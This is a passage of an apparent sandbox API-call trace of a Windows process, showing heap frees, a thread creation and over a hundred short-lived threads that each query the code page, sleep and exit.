hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6572e8 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5afac8 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x657258 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2f58 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x657288 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x656300 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6572d0 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6e00 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7f08 | out: hHeap=0x5a0000) returned 1 [0122.371] lstrlenW (lpString="%systemdrive%") returned 13 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5deb60 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e2540 | out: hHeap=0x5a0000) returned 1 [0122.371] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6562d0 | out: hHeap=0x5a0000) returned 1 [0122.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x634ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc [0122.372] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5bcf10*=0xfac, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xd44 Thread: id = 3 os_tid = 0xb6c [0113.759] GetACP () returned 0x4e4 [0113.760] GetACP () returned 0x4e4 [0113.760] Sleep (dwMilliseconds=0x0) [0113.810] RtlExitUserThread (Status=0x0) Thread: id = 4 os_tid = 0xeb0 [0113.755] GetACP () returned 0x4e4 [0113.755] GetACP () returned 0x4e4 [0113.755] Sleep (dwMilliseconds=0x0) [0113.801] RtlExitUserThread (Status=0x0) Thread: id = 5 os_tid = 0xfa4 [0113.755] GetACP () returned 0x4e4 [0113.755] GetACP () returned 0x4e4 [0113.755] Sleep (dwMilliseconds=0x0) [0113.801] RtlExitUserThread (Status=0x0) Thread: id = 6 os_tid = 0xa84 [0113.755] GetACP () returned 0x4e4 [0113.755] GetACP () returned 0x4e4 [0113.755] Sleep (dwMilliseconds=0x0) [0113.802] RtlExitUserThread (Status=0x0) Thread: id = 7 os_tid = 0xfa0 [0113.756] GetACP () returned 0x4e4 [0113.756] GetACP () returned 0x4e4 [0113.756] Sleep (dwMilliseconds=0x0) [0113.803] RtlExitUserThread (Status=0x0) Thread: id = 8 os_tid = 0xf9c [0113.756] GetACP () returned 0x4e4 [0113.756] GetACP () returned 0x4e4 [0113.756] Sleep (dwMilliseconds=0x0) [0113.803] RtlExitUserThread (Status=0x0) Thread: id = 9 os_tid = 0xf88 [0113.756] GetACP () returned 0x4e4 [0113.756] GetACP () returned 0x4e4 [0113.757] Sleep (dwMilliseconds=0x0) [0113.804] RtlExitUserThread (Status=0x0) Thread: id = 10 os_tid = 0xf80 [0113.757] GetACP () returned 0x4e4 [0113.757] GetACP () returned 0x4e4 [0113.757] Sleep (dwMilliseconds=0x0) [0113.804] RtlExitUserThread (Status=0x0) Thread: id = 11 os_tid = 0xcc8 [0113.757] GetACP () returned 0x4e4 [0113.757] GetACP () returned 0x4e4 [0113.757] Sleep (dwMilliseconds=0x0) [0113.805] RtlExitUserThread (Status=0x0) Thread: id = 12 os_tid = 0xee4 [0113.757] GetACP () returned 0x4e4 [0113.757] GetACP () returned 0x4e4 [0113.757] Sleep (dwMilliseconds=0x0) [0113.806] RtlExitUserThread (Status=0x0) Thread: id = 13 os_tid = 0x390 [0113.758] GetACP () returned 0x4e4 [0113.758] GetACP () returned 0x4e4 [0113.758] Sleep (dwMilliseconds=0x0) [0113.806] RtlExitUserThread (Status=0x0) Thread: id = 14 os_tid = 0xf68 [0113.758] GetACP () returned 0x4e4 [0113.758] GetACP () returned 0x4e4 [0113.758] Sleep (dwMilliseconds=0x0) [0113.807] RtlExitUserThread (Status=0x0) Thread: id = 15 os_tid = 0x4a8 [0113.758] GetACP () returned 0x4e4 [0113.758] GetACP () returned 0x4e4 [0113.758] Sleep (dwMilliseconds=0x0) [0113.807] RtlExitUserThread (Status=0x0) Thread: id = 16 os_tid = 0x4a4 [0113.759] GetACP () returned 0x4e4 [0113.759] GetACP () returned 0x4e4 [0113.759] Sleep (dwMilliseconds=0x0) [0113.808] RtlExitUserThread (Status=0x0) Thread: id = 17 os_tid = 0xeac [0113.759] GetACP () returned 0x4e4 [0113.759] GetACP () returned 0x4e4 [0113.759] Sleep (dwMilliseconds=0x0) [0113.809] RtlExitUserThread (Status=0x0) Thread: id = 18 os_tid = 0xeb4 [0113.759] GetACP () returned 0x4e4 [0113.759] GetACP () returned 0x4e4 [0113.759] Sleep (dwMilliseconds=0x0) [0113.809] RtlExitUserThread (Status=0x0) Thread: id = 19 os_tid = 0xed0 [0113.761] GetACP () returned 0x4e4 [0113.761] GetACP () returned 0x4e4 [0113.761] Sleep (dwMilliseconds=0x0) [0113.810] RtlExitUserThread (Status=0x0) Thread: id = 20 os_tid = 0xebc [0113.761] GetACP () returned 0x4e4 [0113.762] GetACP () returned 0x4e4 [0113.762] Sleep (dwMilliseconds=0x0) [0113.811] RtlExitUserThread (Status=0x0) Thread: id = 21 os_tid = 0xed8 [0113.762] GetACP () returned 0x4e4 [0113.762] GetACP () returned 0x4e4 [0113.762] Sleep (dwMilliseconds=0x0) [0113.812] RtlExitUserThread (Status=0x0) Thread: id = 22 os_tid = 0xfec [0113.762] GetACP () returned 0x4e4 [0113.762] GetACP () returned 0x4e4 [0113.762] Sleep (dwMilliseconds=0x0) [0113.812] RtlExitUserThread (Status=0x0) Thread: id = 23 os_tid = 0xf0 [0113.813] GetACP () returned 0x4e4 [0113.813] GetACP () returned 0x4e4 [0113.813] Sleep (dwMilliseconds=0x0) [0113.863] RtlExitUserThread (Status=0x0) Thread: id = 24 os_tid = 0xd90 [0113.814] GetACP () returned 0x4e4 [0113.814] GetACP () returned 0x4e4 [0113.814] Sleep (dwMilliseconds=0x0) [0113.864] RtlExitUserThread (Status=0x0) Thread: id = 25 os_tid = 0xd7c [0113.814] GetACP () returned 0x4e4 [0113.814] GetACP () returned 0x4e4 [0113.814] Sleep (dwMilliseconds=0x0) [0113.864] RtlExitUserThread (Status=0x0) Thread: id = 26 os_tid = 0xb64 [0113.815] GetACP () returned 0x4e4 [0113.815] GetACP () returned 0x4e4 [0113.815] Sleep (dwMilliseconds=0x0) [0113.865] RtlExitUserThread (Status=0x0) Thread: id = 27 os_tid = 0x4a0 [0113.816] GetACP () returned 0x4e4 [0113.816] GetACP () returned 0x4e4 [0113.816] Sleep (dwMilliseconds=0x0) [0113.865] RtlExitUserThread (Status=0x0) Thread: id = 28 os_tid = 0xb08 [0113.816] GetACP () returned 0x4e4 [0113.816] GetACP () returned 0x4e4 [0113.816] Sleep (dwMilliseconds=0x0) [0113.866] RtlExitUserThread (Status=0x0) Thread: id = 29 os_tid = 0xda4 [0113.816] GetACP () returned 0x4e4 [0113.816] GetACP () returned 0x4e4 [0113.817] Sleep (dwMilliseconds=0x0) [0113.867] RtlExitUserThread (Status=0x0) Thread: id = 30 os_tid = 0xee8 [0113.817] GetACP () returned 0x4e4 [0113.817] GetACP () returned 0x4e4 [0113.817] Sleep (dwMilliseconds=0x0) [0113.867] RtlExitUserThread (Status=0x0) Thread: id = 31 os_tid = 0xa78 [0113.817] GetACP () returned 0x4e4 [0113.817] GetACP () returned 0x4e4 [0113.817] Sleep (dwMilliseconds=0x0) [0113.868] RtlExitUserThread (Status=0x0) Thread: id = 32 os_tid = 0xe7c [0113.818] GetACP () returned 0x4e4 [0113.818] GetACP () returned 0x4e4 [0113.818] Sleep (dwMilliseconds=0x0) [0113.868] RtlExitUserThread (Status=0x0) Thread: id = 33 os_tid = 0xf58 [0113.819] GetACP () returned 0x4e4 [0113.819] GetACP () returned 0x4e4 [0113.819] Sleep (dwMilliseconds=0x0) [0113.869] RtlExitUserThread (Status=0x0) Thread: id = 34 os_tid = 0xd78 [0113.819] GetACP () returned 0x4e4 [0113.819] GetACP () returned 0x4e4 [0113.819] Sleep (dwMilliseconds=0x0) [0113.870] RtlExitUserThread (Status=0x0) Thread: id = 35 os_tid = 0xeec [0113.820] GetACP () returned 0x4e4 [0113.820] GetACP () returned 0x4e4 [0113.820] Sleep (dwMilliseconds=0x0) [0113.870] RtlExitUserThread (Status=0x0) Thread: id = 36 os_tid = 0xb98 [0113.820] GetACP () returned 0x4e4 [0113.820] GetACP () returned 0x4e4 [0113.820] Sleep (dwMilliseconds=0x0) [0113.871] RtlExitUserThread (Status=0x0) Thread: id = 37 os_tid = 0xcbc [0113.821] GetACP () returned 0x4e4 [0113.821] GetACP () returned 0x4e4 [0113.821] Sleep (dwMilliseconds=0x0) [0113.872] RtlExitUserThread (Status=0x0) Thread: id = 38 os_tid = 0x15c [0113.821] GetACP () returned 0x4e4 [0113.821] GetACP () returned 0x4e4 [0113.822] Sleep (dwMilliseconds=0x0) [0113.872] RtlExitUserThread (Status=0x0) Thread: id = 39 os_tid = 0xe3c [0113.822] GetACP () returned 0x4e4 [0113.822] GetACP () returned 0x4e4 [0113.822] Sleep (dwMilliseconds=0x0) [0113.873] RtlExitUserThread (Status=0x0) Thread: id = 40 os_tid = 0xf54 [0113.822] GetACP () returned 0x4e4 [0113.822] GetACP () returned 0x4e4 [0113.822] Sleep (dwMilliseconds=0x0) [0113.873] RtlExitUserThread (Status=0x0) Thread: id = 41 os_tid = 0xfb4 [0113.823] GetACP () returned 0x4e4 [0113.823] GetACP () returned 0x4e4 [0113.823] Sleep (dwMilliseconds=0x0) [0113.874] RtlExitUserThread (Status=0x0) Thread: id = 42 os_tid = 0xef0 [0113.823] GetACP () returned 0x4e4 [0113.823] GetACP () returned 0x4e4 [0113.823] Sleep (dwMilliseconds=0x0) [0113.875] RtlExitUserThread (Status=0x0) Thread: id = 43 os_tid = 0xc70 [0113.876] GetACP () returned 0x4e4 [0113.876] GetACP () returned 0x4e4 [0113.876] Sleep (dwMilliseconds=0x0) [0113.929] RtlExitUserThread (Status=0x0) Thread: id = 44 os_tid = 0xa98 [0113.876] GetACP () returned 0x4e4 [0113.876] GetACP () returned 0x4e4 [0113.876] Sleep (dwMilliseconds=0x0) [0113.930] RtlExitUserThread (Status=0x0) Thread: id = 45 os_tid = 0x8f0 [0113.877] GetACP () returned 0x4e4 [0113.877] GetACP () returned 0x4e4 [0113.877] Sleep (dwMilliseconds=0x0) [0113.930] RtlExitUserThread (Status=0x0) Thread: id = 46 os_tid = 0xf7c [0113.878] GetACP () returned 0x4e4 [0113.878] GetACP () returned 0x4e4 [0113.878] Sleep (dwMilliseconds=0x0) [0113.931] RtlExitUserThread (Status=0x0) Thread: id = 47 os_tid = 0xf64 [0113.878] GetACP () returned 0x4e4 [0113.878] GetACP () returned 0x4e4 [0113.878] Sleep (dwMilliseconds=0x0) [0113.932] RtlExitUserThread (Status=0x0) Thread: id = 48 os_tid = 0xf08 [0113.879] GetACP () returned 0x4e4 [0113.879] GetACP () returned 0x4e4 [0113.879] Sleep (dwMilliseconds=0x0) [0113.932] RtlExitUserThread (Status=0x0) Thread: id = 49 os_tid = 0xaf0 [0113.879] GetACP () returned 0x4e4 [0113.879] GetACP () returned 0x4e4 [0113.879] Sleep (dwMilliseconds=0x0) [0113.933] RtlExitUserThread (Status=0x0) Thread: id = 50 os_tid = 0xca0 [0113.880] GetACP () returned 0x4e4 [0113.880] GetACP () returned 0x4e4 [0113.880] Sleep (dwMilliseconds=0x0) [0113.933] RtlExitUserThread (Status=0x0) Thread: id = 51 os_tid = 0x540 [0113.880] GetACP () returned 0x4e4 [0113.880] GetACP () returned 0x4e4 [0113.880] Sleep (dwMilliseconds=0x0) [0113.934] RtlExitUserThread (Status=0x0) Thread: id = 52 os_tid = 0xf44 [0113.881] GetACP () returned 0x4e4 [0113.881] GetACP () returned 0x4e4 [0113.881] Sleep (dwMilliseconds=0x0) [0113.935] RtlExitUserThread (Status=0x0) Thread: id = 53 os_tid = 0xcc4 [0113.881] GetACP () returned 0x4e4 [0113.881] GetACP () returned 0x4e4 [0113.881] Sleep (dwMilliseconds=0x0) [0113.935] RtlExitUserThread (Status=0x0) Thread: id = 54 os_tid = 0xe90 [0113.882] GetACP () returned 0x4e4 [0113.882] GetACP () returned 0x4e4 [0113.882] Sleep (dwMilliseconds=0x0) [0113.936] RtlExitUserThread (Status=0x0) Thread: id = 55 os_tid = 0xf38 [0113.882] GetACP () returned 0x4e4 [0113.882] GetACP () returned 0x4e4 [0113.882] Sleep (dwMilliseconds=0x0) [0113.936] RtlExitUserThread (Status=0x0) Thread: id = 56 os_tid = 0x368 [0113.883] GetACP () returned 0x4e4 [0113.883] GetACP () returned 0x4e4 [0113.883] Sleep (dwMilliseconds=0x0) [0113.937] RtlExitUserThread (Status=0x0) Thread: id = 57 os_tid = 0xea0 [0113.883] GetACP () returned 0x4e4 [0113.883] GetACP () returned 0x4e4 [0113.883] Sleep (dwMilliseconds=0x0) [0113.938] RtlExitUserThread (Status=0x0) Thread: id = 58 os_tid = 0xec8 [0113.884] GetACP () returned 0x4e4 [0113.884] GetACP () returned 0x4e4 [0113.884] Sleep (dwMilliseconds=0x0) [0113.938] RtlExitUserThread (Status=0x0) Thread: id = 59 os_tid = 0xe60 [0113.884] GetACP () returned 0x4e4 [0113.884] GetACP () returned 0x4e4 [0113.884] Sleep (dwMilliseconds=0x0) [0113.939] RtlExitUserThread (Status=0x0) Thread: id = 60 os_tid = 0xe0 [0113.885] GetACP () returned 0x4e4 [0113.885] GetACP () returned 0x4e4 [0113.885] Sleep (dwMilliseconds=0x0) [0113.979] RtlExitUserThread (Status=0x0) Thread: id = 61 os_tid = 0xf00 [0113.885] GetACP () returned 0x4e4 [0113.885] GetACP () returned 0x4e4 [0113.885] Sleep (dwMilliseconds=0x0) [0113.980] RtlExitUserThread (Status=0x0) Thread: id = 62 os_tid = 0xef8 [0113.886] GetACP () returned 0x4e4 [0113.886] GetACP () returned 0x4e4 [0113.886] Sleep (dwMilliseconds=0x0) [0113.981] RtlExitUserThread (Status=0x0) Thread: id = 63 os_tid = 0xdfc [0113.981] GetACP () returned 0x4e4 [0113.981] GetACP () returned 0x4e4 [0113.981] Sleep (dwMilliseconds=0x0) [0114.040] RtlExitUserThread (Status=0x0) Thread: id = 64 os_tid = 0x39c [0113.982] GetACP () returned 0x4e4 [0113.982] GetACP () returned 0x4e4 [0113.982] Sleep (dwMilliseconds=0x0) [0114.041] RtlExitUserThread (Status=0x0) Thread: id = 65 os_tid = 0xe5c [0113.982] GetACP () returned 0x4e4 [0113.982] GetACP () returned 0x4e4 [0113.982] Sleep (dwMilliseconds=0x0) [0114.041] RtlExitUserThread (Status=0x0) Thread: id = 66 os_tid = 0x4d8 [0113.983] GetACP () returned 0x4e4 [0113.983] GetACP () returned 0x4e4 [0113.983] Sleep (dwMilliseconds=0x0) [0114.042] RtlExitUserThread (Status=0x0) Thread: id = 67 os_tid = 0x36c [0113.983] GetACP () returned 0x4e4 [0113.983] GetACP () returned 0x4e4 [0113.983] Sleep (dwMilliseconds=0x0) [0114.042] RtlExitUserThread (Status=0x0) Thread: id = 68 os_tid = 0x4ac [0113.983] GetACP () returned 0x4e4 [0113.983] GetACP () returned 0x4e4 [0113.983] Sleep (dwMilliseconds=0x0) [0114.043] RtlExitUserThread (Status=0x0) Thread: id = 69 os_tid = 0x4bc [0113.984] GetACP () returned 0x4e4 [0113.984] GetACP () returned 0x4e4 [0113.984] Sleep (dwMilliseconds=0x0) [0114.043] RtlExitUserThread (Status=0x0) Thread: id = 70 os_tid = 0x9e4 [0113.984] GetACP () returned 0x4e4 [0113.984] GetACP () returned 0x4e4 [0113.984] Sleep (dwMilliseconds=0x0) [0114.044] RtlExitUserThread (Status=0x0) Thread: id = 71 os_tid = 0x7bc [0113.985] GetACP () returned 0x4e4 [0113.985] GetACP () returned 0x4e4 [0113.985] Sleep (dwMilliseconds=0x0) [0114.044] RtlExitUserThread (Status=0x0) Thread: id = 72 os_tid = 0xd00 [0113.985] GetACP () returned 0x4e4 [0113.985] GetACP () returned 0x4e4 [0113.985] Sleep (dwMilliseconds=0x0) [0114.045] RtlExitUserThread (Status=0x0) Thread: id = 73 os_tid = 0xce4 [0113.986] GetACP () returned 0x4e4 [0113.986] GetACP () returned 0x4e4 [0113.986] Sleep (dwMilliseconds=0x0) [0114.045] RtlExitUserThread (Status=0x0) Thread: id = 74 os_tid = 0xac8 [0113.986] GetACP () returned 0x4e4 [0113.986] GetACP () returned 0x4e4 [0113.986] Sleep (dwMilliseconds=0x0) [0114.046] RtlExitUserThread (Status=0x0) Thread: id = 75 os_tid = 0xce0 [0113.986] GetACP () returned 0x4e4 [0113.986] GetACP () returned 0x4e4 [0113.986] Sleep (dwMilliseconds=0x0) [0114.046] RtlExitUserThread (Status=0x0) Thread: id = 76 os_tid = 0xd48 [0113.987] GetACP () returned 0x4e4 [0113.987] GetACP () returned 0x4e4 [0113.987] Sleep (dwMilliseconds=0x0) [0114.047] RtlExitUserThread (Status=0x0) Thread: id = 77 os_tid = 0x90c [0113.987] GetACP () returned 0x4e4 [0113.987] GetACP () returned 0x4e4 [0113.987] Sleep (dwMilliseconds=0x0) [0114.047] RtlExitUserThread (Status=0x0) Thread: id = 78 os_tid = 0xd28 [0113.988] GetACP () returned 0x4e4 [0113.988] GetACP () returned 0x4e4 [0113.988] Sleep (dwMilliseconds=0x0) [0114.047] RtlExitUserThread (Status=0x0) Thread: id = 79 os_tid = 0xd1c [0113.988] GetACP () returned 0x4e4 [0113.988] GetACP () returned 0x4e4 [0113.988] Sleep (dwMilliseconds=0x0) [0114.048] RtlExitUserThread (Status=0x0) Thread: id = 80 os_tid = 0x7a8 [0113.989] GetACP () returned 0x4e4 [0113.989] GetACP () returned 0x4e4 [0113.989] Sleep (dwMilliseconds=0x0) [0114.048] RtlExitUserThread (Status=0x0) Thread: id = 81 os_tid = 0xd6c [0113.990] GetACP () returned 0x4e4 [0113.990] GetACP () returned 0x4e4 [0113.990] Sleep (dwMilliseconds=0x0) [0114.049] RtlExitUserThread (Status=0x0) Thread: id = 82 os_tid = 0x4d0 [0113.991] GetACP () returned 0x4e4 [0113.991] GetACP () returned 0x4e4 [0113.991] Sleep (dwMilliseconds=0x0) [0114.049] RtlExitUserThread (Status=0x0) Thread: id = 83 os_tid = 0x388 [0114.050] GetACP () returned 0x4e4 [0114.050] GetACP () returned 0x4e4 [0114.050] Sleep (dwMilliseconds=0x0) [0114.103] RtlExitUserThread (Status=0x0) Thread: id = 84 os_tid = 0xf8c [0114.051] GetACP () returned 0x4e4 [0114.051] GetACP () returned 0x4e4 [0114.051] Sleep (dwMilliseconds=0x0) [0114.103] RtlExitUserThread (Status=0x0) Thread: id = 85 os_tid = 0x4c8 [0114.051] GetACP () returned 0x4e4 [0114.051] GetACP () returned 0x4e4 [0114.051] Sleep (dwMilliseconds=0x0) [0114.104] RtlExitUserThread (Status=0x0) Thread: id = 86 os_tid = 0x4f0 [0114.051] GetACP () returned 0x4e4 [0114.051] GetACP () returned 0x4e4 [0114.051] Sleep (dwMilliseconds=0x0) [0114.104] RtlExitUserThread (Status=0x0) Thread: id = 87 os_tid = 0x798 [0114.052] GetACP () returned 0x4e4 [0114.052] GetACP () returned 0x4e4 [0114.052] Sleep (dwMilliseconds=0x0) [0114.105] RtlExitUserThread (Status=0x0) Thread: id = 88 os_tid = 0xf6c [0114.052] GetACP () returned 0x4e4 [0114.052] GetACP () returned 0x4e4 [0114.052] Sleep (dwMilliseconds=0x0) [0114.105] RtlExitUserThread (Status=0x0) Thread: id = 89 os_tid = 0x910 [0114.052] GetACP () returned 0x4e4 [0114.052] GetACP () returned 0x4e4 [0114.052] Sleep (dwMilliseconds=0x0) [0114.106] RtlExitUserThread (Status=0x0) Thread: id = 90 os_tid = 0x738 [0114.053] GetACP () returned 0x4e4 [0114.053] GetACP () returned 0x4e4 [0114.053] Sleep (dwMilliseconds=0x0) [0114.106] RtlExitUserThread (Status=0x0) Thread: id = 91 os_tid = 0xe64 [0114.054] GetACP () returned 0x4e4 [0114.054] GetACP () returned 0x4e4 [0114.054] Sleep (dwMilliseconds=0x0) [0114.107] RtlExitUserThread (Status=0x0) Thread: id = 92 os_tid = 0xc38 [0114.054] GetACP () returned 0x4e4 [0114.054] GetACP () returned 0x4e4 [0114.054] Sleep (dwMilliseconds=0x0) [0114.107] RtlExitUserThread (Status=0x0) Thread: id = 93 os_tid = 0xddc [0114.054] GetACP () returned 0x4e4 [0114.054] GetACP () returned 0x4e4 [0114.054] Sleep (dwMilliseconds=0x0) [0114.108] RtlExitUserThread (Status=0x0) Thread: id = 94 os_tid = 0xb60 [0114.055] GetACP () returned 0x4e4 [0114.055] GetACP () returned 0x4e4 [0114.055] Sleep (dwMilliseconds=0x0) [0114.108] RtlExitUserThread (Status=0x0) Thread: id = 95 os_tid = 0xdf8 [0114.055] GetACP () returned 0x4e4 [0114.055] GetACP () returned 0x4e4 [0114.055] Sleep (dwMilliseconds=0x0) [0114.109] RtlExitUserThread (Status=0x0) Thread: id = 96 os_tid = 0xf70 [0114.055] GetACP () returned 0x4e4 [0114.055] GetACP () returned 0x4e4 [0114.055] Sleep (dwMilliseconds=0x0) [0114.109] RtlExitUserThread (Status=0x0) Thread: id = 97 os_tid = 0xfa8 [0114.056] GetACP () returned 0x4e4 [0114.056] GetACP () returned 0x4e4 [0114.056] Sleep (dwMilliseconds=0x0) [0114.110] RtlExitUserThread (Status=0x0) Thread: id = 98 os_tid = 0x344 [0114.056] GetACP () returned 0x4e4 [0114.056] GetACP () returned 0x4e4 [0114.056] Sleep (dwMilliseconds=0x0) [0114.110] RtlExitUserThread (Status=0x0) Thread: id = 99 os_tid = 0xf78 [0114.057] GetACP () returned 0x4e4 [0114.057] GetACP () returned 0x4e4 [0114.057] Sleep (dwMilliseconds=0x0) [0114.111] RtlExitUserThread (Status=0x0) Thread: id = 100 os_tid = 0xe98 [0114.057] GetACP () returned 0x4e4 [0114.057] GetACP () returned 0x4e4 [0114.057] Sleep (dwMilliseconds=0x0) [0114.111] RtlExitUserThread (Status=0x0) Thread: id = 101 os_tid = 0x1004 [0114.057] GetACP () returned 0x4e4 [0114.057] GetACP () returned 0x4e4 [0114.057] Sleep (dwMilliseconds=0x0) [0114.112] RtlExitUserThread (Status=0x0) Thread: id = 102 os_tid = 0x1008 [0114.058] GetACP () returned 0x4e4 [0114.058] GetACP () returned 0x4e4 [0114.058] Sleep (dwMilliseconds=0x0) [0114.112] RtlExitUserThread (Status=0x0) Thread: id = 103 os_tid = 0x1010 [0114.113] GetACP () returned 0x4e4 [0114.113] GetACP () returned 0x4e4 [0114.113] Sleep (dwMilliseconds=0x0) [0114.164] RtlExitUserThread (Status=0x0) Thread: id = 104 os_tid = 0x1014 [0114.113] GetACP () returned 0x4e4 [0114.113] GetACP () returned 0x4e4 [0114.113] Sleep (dwMilliseconds=0x0) [0114.164] RtlExitUserThread (Status=0x0) Thread: id = 105 os_tid = 0x1018 [0114.114] GetACP () returned 0x4e4 [0114.114] GetACP () returned 0x4e4 [0114.114] Sleep (dwMilliseconds=0x0) [0114.165] RtlExitUserThread (Status=0x0) Thread: id = 106 os_tid = 0x101c [0114.114] GetACP () returned 0x4e4 [0114.114] GetACP () returned 0x4e4 [0114.114] Sleep (dwMilliseconds=0x0) [0114.165] RtlExitUserThread (Status=0x0) Thread: id = 107 os_tid = 0x1020 [0114.115] GetACP () returned 0x4e4 [0114.115] GetACP () returned 0x4e4 [0114.115] Sleep (dwMilliseconds=0x0) [0114.166] RtlExitUserThread (Status=0x0) Thread: id = 108 os_tid = 0x1024 [0114.115] GetACP () returned 0x4e4 [0114.115] GetACP () returned 0x4e4 [0114.115] Sleep (dwMilliseconds=0x0) [0114.166] RtlExitUserThread (Status=0x0) Thread: id = 109 os_tid = 0x1028 [0114.116] GetACP () returned 0x4e4 [0114.116] GetACP () returned 0x4e4 [0114.116] Sleep (dwMilliseconds=0x0) [0114.167] RtlExitUserThread (Status=0x0) Thread: id = 110 os_tid = 0x102c [0114.116] GetACP () returned 0x4e4 [0114.116] GetACP () returned 0x4e4 [0114.116] Sleep (dwMilliseconds=0x0) [0114.167] RtlExitUserThread (Status=0x0) Thread: id = 111 os_tid = 0x1030 [0114.116] GetACP () returned 0x4e4 [0114.116] GetACP () returned 0x4e4 [0114.117] Sleep (dwMilliseconds=0x0) [0114.167] RtlExitUserThread (Status=0x0) Thread: id = 112 os_tid = 0x1034 [0114.117] GetACP () returned 0x4e4 [0114.117] GetACP () returned 0x4e4 [0114.117] Sleep (dwMilliseconds=0x0) [0114.168] RtlExitUserThread (Status=0x0) Thread: id = 113 os_tid = 0x1038 [0114.117] GetACP () returned 0x4e4 [0114.117] GetACP () returned 0x4e4 [0114.117] Sleep (dwMilliseconds=0x0) [0114.168] RtlExitUserThread (Status=0x0) Thread: id = 114 os_tid = 0x103c [0114.118] GetACP () returned 0x4e4 [0114.118] GetACP () returned 0x4e4 [0114.118] Sleep (dwMilliseconds=0x0) [0114.169] RtlExitUserThread (Status=0x0) Thread: id = 115 os_tid = 0x1040 [0114.118] GetACP () returned 0x4e4 [0114.118] GetACP () returned 0x4e4 [0114.118] Sleep (dwMilliseconds=0x0) [0114.169] RtlExitUserThread (Status=0x0) Thread: id = 116 os_tid = 0x1044 [0114.118] GetACP () returned 0x4e4 [0114.118] GetACP () returned 0x4e4 [0114.118] Sleep (dwMilliseconds=0x0) [0114.170] RtlExitUserThread (Status=0x0) Thread: id = 117 os_tid = 0x1048 [0114.119] GetACP () returned 0x4e4 [0114.119] GetACP () returned 0x4e4 [0114.119] Sleep (dwMilliseconds=0x0) [0114.170] RtlExitUserThread (Status=0x0) Thread: id = 118 os_tid = 0x104c [0114.119] GetACP () returned 0x4e4 [0114.119] GetACP () returned 0x4e4 [0114.119] Sleep (dwMilliseconds=0x0) [0114.171] RtlExitUserThread (Status=0x0) Thread: id = 119 os_tid = 0x1050 [0114.120] GetACP () returned 0x4e4 [0114.120] GetACP () returned 0x4e4 [0114.120] Sleep (dwMilliseconds=0x0) [0114.171] RtlExitUserThread (Status=0x0) Thread: id = 120 os_tid = 0x1054 [0114.120] GetACP () returned 0x4e4 [0114.120] GetACP () returned 0x4e4 [0114.120] Sleep (dwMilliseconds=0x0) [0114.172] RtlExitUserThread (Status=0x0) Thread: id = 121 os_tid = 0x1058 [0114.121] GetACP () returned 0x4e4 [0114.121] GetACP () returned 0x4e4 [0114.121] Sleep (dwMilliseconds=0x0) [0114.172] RtlExitUserThread (Status=0x0) Thread: id = 122 os_tid = 0x105c [0114.121] GetACP () returned 0x4e4 [0114.121] GetACP () returned 0x4e4 [0114.121] Sleep (dwMilliseconds=0x0) [0114.173] RtlExitUserThread (Status=0x0) Thread: id = 123 os_tid = 0x1060 [0114.174] GetACP () returned 0x4e4 [0114.174] GetACP () returned 0x4e4 [0114.174] Sleep (dwMilliseconds=0x0) [0114.226] RtlExitUserThread (Status=0x0) Thread: id = 124 os_tid = 0x1064 [0114.174] GetACP () returned 0x4e4 [0114.174] GetACP () returned 0x4e4 [0114.174] Sleep (dwMilliseconds=0x0) [0114.227] RtlExitUserThread (Status=0x0) Thread: id = 125 os_tid = 0x1068 [0114.175] GetACP () returned 0x4e4 [0114.175] GetACP () returned 0x4e4 [0114.175] Sleep (dwMilliseconds=0x0) [0114.227] RtlExitUserThread (Status=0x0) Thread: id = 126 os_tid = 0x106c [0114.175] GetACP () returned 0x4e4 [0114.175] GetACP () returned 0x4e4 [0114.175] Sleep (dwMilliseconds=0x0) [0114.228] RtlExitUserThread (Status=0x0) Thread: id = 127 os_tid = 0x1070 [0114.175] GetACP () returned 0x4e4 [0114.175] GetACP () returned 0x4e4 [0114.175] Sleep (dwMilliseconds=0x0) [0114.229] RtlExitUserThread (Status=0x0) Thread: id = 128 os_tid = 0x1074 [0114.176] GetACP () returned 0x4e4 [0114.176] GetACP () returned 0x4e4 [0114.176] Sleep (dwMilliseconds=0x0) [0114.229] RtlExitUserThread (Status=0x0) Thread: id = 129 os_tid = 0x1078 [0114.176] GetACP () returned 0x4e4 [0114.176] GetACP () returned 0x4e4 [0114.176] Sleep (dwMilliseconds=0x0) [0114.230] RtlExitUserThread (Status=0x0) Thread: id = 130 os_tid = 0x107c [0114.177] GetACP () returned 0x4e4 [0114.177] GetACP () returned 0x4e4 [0114.177] Sleep (dwMilliseconds=0x0) [0114.231] RtlExitUserThread (Status=0x0) Thread: id = 131 os_tid = 0x1080 [0114.177] GetACP () returned 0x4e4 [0114.177] GetACP () returned 0x4e4 [0114.177] Sleep (dwMilliseconds=0x0) [0114.232] RtlExitUserThread (Status=0x0) Thread: id = 132 os_tid = 0x1084 [0114.177] GetACP () returned 0x4e4 [0114.177] GetACP () returned 0x4e4 [0114.177] Sleep (dwMilliseconds=0x0) [0114.232] RtlExitUserThread (Status=0x0) Thread: id = 133 os_tid = 0x1088 [0114.178] 